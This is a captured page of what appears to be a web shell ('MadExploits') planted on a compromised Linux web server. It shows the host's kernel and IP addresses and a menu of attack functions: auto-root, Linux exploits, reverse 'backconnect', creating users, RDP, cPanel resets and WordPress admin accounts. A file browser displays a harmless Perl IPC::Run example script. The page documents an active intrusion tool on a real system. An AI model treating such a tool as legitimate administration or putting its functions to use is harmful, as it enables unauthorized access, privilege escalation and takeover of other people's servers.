Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.118.151.112
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-IPC-Run-0.92 /
eg /
[ HOME SHELL ]
Name
Size
Permission
Action
factorial
1.53
KB
-rw-r--r--
factorial_pipe
861
B
-rw-r--r--
factorial_scalar
780
B
-rw-r--r--
run_daemon
338
B
-rw-r--r--
runsh
1.12
KB
-rw-r--r--
runsu
971
B
-rw-r--r--
synopsis_scripting
604
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : runsh
#!/usr/bin/perl -w ## Demonstration of chatting with a bash shell. use strict ; use IPC::Run qw( start pump finish timeout ) ; my ( $in, $out, $err ) ; my $h = start( [qw(sh -login -i )], \$in, \$out, \$err, debug => 0, timeout( 5 ), ) ; ## The first thing we do is to convert the user's prompt. Normally, we would ## do a '' as the first command in the for () loop so we could detect errors ## that bash might emit on startup. In this case, we need to do this ## initialization first so that we have a prompt to look for so we know that ## it's ready to accept input. This is all because the startup scripts ## that bash runs set PS1, and we can't have that. $in = "PS1='<PROMPT> '\n" ; ## bash prompts on stderr. Consume everything before the first ## <PROMPT> (which is the second prompt bash issues). pump $h until $err =~ s/.*(?=^<PROMPT> (?!\n)\Z)//ms ; for ( qw( ls ps fOoBaR pwd ) ) { $in = $_ . "\n" ; $out = '' ; pump $h until $err =~ s/\A(<PROMPT> .*)(?=^<PROMPT> (?!\n)\Z)//ms ; print map { "sh err: $_\n" } split( /\n/m, $1 ) ; print map { "sh: $_\n" } split( /\n/m, $out ) ; } finish $h ;
Close